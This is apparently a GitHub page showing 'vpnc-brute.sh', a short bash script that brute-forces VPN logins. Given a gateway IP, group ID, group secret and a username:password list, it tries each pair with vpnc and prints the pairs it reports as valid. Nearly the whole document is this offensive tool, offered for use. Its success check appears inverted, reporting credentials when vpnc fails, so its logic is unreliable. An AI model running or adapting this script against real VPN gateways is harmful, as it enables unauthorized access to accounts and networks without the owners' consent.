-
Notifications
You must be signed in to change notification settings - Fork 3
/
vpnc-brute.sh
53 lines (43 loc) · 1 KB
/
vpnc-brute.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/bin/bash
CAT=`which cat`
VPNC=`which vpnc`
function usage() {
echo "./vpnc-brute -h <gateway> -g <group-id> -s <secret> -f <file>"
echo ""
echo "-h: IP of the remote gateway"
echo "-g: group id"
echo "-s: group password"
echo "-f: file of username:password"
exit
}
while [ ! -z "$1" ]; do
case $1 in
-h) shift; gw="$1"; shift;;
-g) shift; id="$1"; shift;;
-s) shift; secret="$1"; shift;;
-f) shift; hfile="$1"; shift;;
* ) usage
;;
esac
done
if [ ! -z $hfile ]; then
list=`cat $hfile 2>/dev/null`
if [ "$list" = "" ]; then
echo "error: username:password file corrupted"
fi
else
usage
fi
if ([[ -z $gw ]] || [[ -z $id ]] || [[ -z $secret ]]) ; then
usage
fi
for listline in `cat $hfile 2>/dev/null`
do
USERNAME=`echo $listline | cut -d ':' -f 1`
PASSWORD=`echo $listline | cut -d ':' -f 2`
$VPNC --gateway $gw --id $id --secret=$secret --username $USERNAME --password $PASSWORD --brute
if [ $? -ne 0 ]; then
echo "Found valid credentials $USERNAME:$PASSWORD"
fi
sleep 0.3
done